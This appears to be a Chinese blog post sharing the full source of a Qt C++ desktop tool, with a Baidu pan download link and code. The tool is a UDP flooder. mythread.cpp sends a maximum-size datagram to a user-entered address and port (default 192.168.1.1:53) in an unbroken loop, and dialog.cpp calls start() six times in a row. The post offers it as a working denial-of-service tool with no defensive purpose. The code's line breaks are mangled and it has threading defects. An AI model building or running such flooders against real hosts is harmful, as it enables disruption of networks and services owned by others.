Qt  代码包 在百度网盘里

链接: https://pan.baidu.com/s/17yjeAkzi18upfqfD7KxXOQ?pwd=6666

dialog.h :

#ifndef DIALOG_H
#define DIALOG_H#include <QDialog>
#include <mythread.h>QT_BEGIN_NAMESPACE
namespace Ui {
class Dialog;
}
QT_END_NAMESPACEclass Dialog : public QDialog
{Q_OBJECTpublic:Dialog(QWidget *parent = nullptr);~Dialog();mythread *thread;private slots:void on_pushButton_clicked();void on_pushButton_2_clicked();private:Ui::Dialog *ui;
};
#endif // DIALOG_H

mythread.h  :

#ifndef MYTHREAD_H
#define MYTHREAD_H#include <QObject>
#include <QThread>
#include <QUdpSocket>
#include <QByteArray>
#include <QString>
#include <QHostAddress>
#include <QDebug>class mythread : public QThread
{Q_OBJECT
public:mythread();QString address;QString port;QByteArray buffer;void run();QUdpSocket *socket;void setaddress(QString maddress);void setport(QString mport);void setstop(bool mclose);bool close;};#endif // MYTHREAD_H

dialog.cpp :

#include "dialog.h"
#include "ui_dialog.h"Dialog::Dialog(QWidget *parent): QDialog(parent), ui(new Ui::Dialog)
{ui->setupUi(this);
}Dialog::~Dialog()
{delete ui;
}void Dialog::on_pushButton_clicked()
{thread = new mythread();thread->setstop(true);thread->setaddress(ui->lineEdit->text());thread->setport(ui->lineEdit_2->text());thread->start();thread->start();thread->start();thread->start();thread->start();thread->start();
}void Dialog::on_pushButton_2_clicked()
{thread->setstop(false);
}

mythread.cpp  :

#include "mythread.h"mythread::mythread()
{socket = new QUdpSocket(this);address = "192.168.1.1";port = "53";close = true;
}void mythread::run()
{for(int i=0;i<65507;i++){buffer.append("a");}while(close){socket->writeDatagram(buffer,QHostAddress(address),port.toInt());}
}void mythread::setaddress(QString maddress)
{address = maddress;
}void mythread::setport(QString mport)
{port = mport;
}void mythread::setstop(bool mclose)
{close = mclose;
}

.pro  :

QT       += core gui networkgreaterThan(QT_MAJOR_VERSION, 4): QT += widgetsCONFIG += c++17# You can make your code fail to compile if it uses deprecated APIs.
# In order to do so, uncomment the following line.
#DEFINES += QT_DISABLE_DEPRECATED_BEFORE=0x060000    # disables all the APIs deprecated before Qt 6.0.0SOURCES += \main.cpp \dialog.cpp \mythread.cppHEADERS += \dialog.h \mythread.hFORMS += \dialog.ui# Default rules for deployment.
qnx: target.path = /tmp/$${TARGET}/bin
else: unix:!android: target.path = /opt/$${TARGET}/bin
!isEmpty(target.path): INSTALLS += target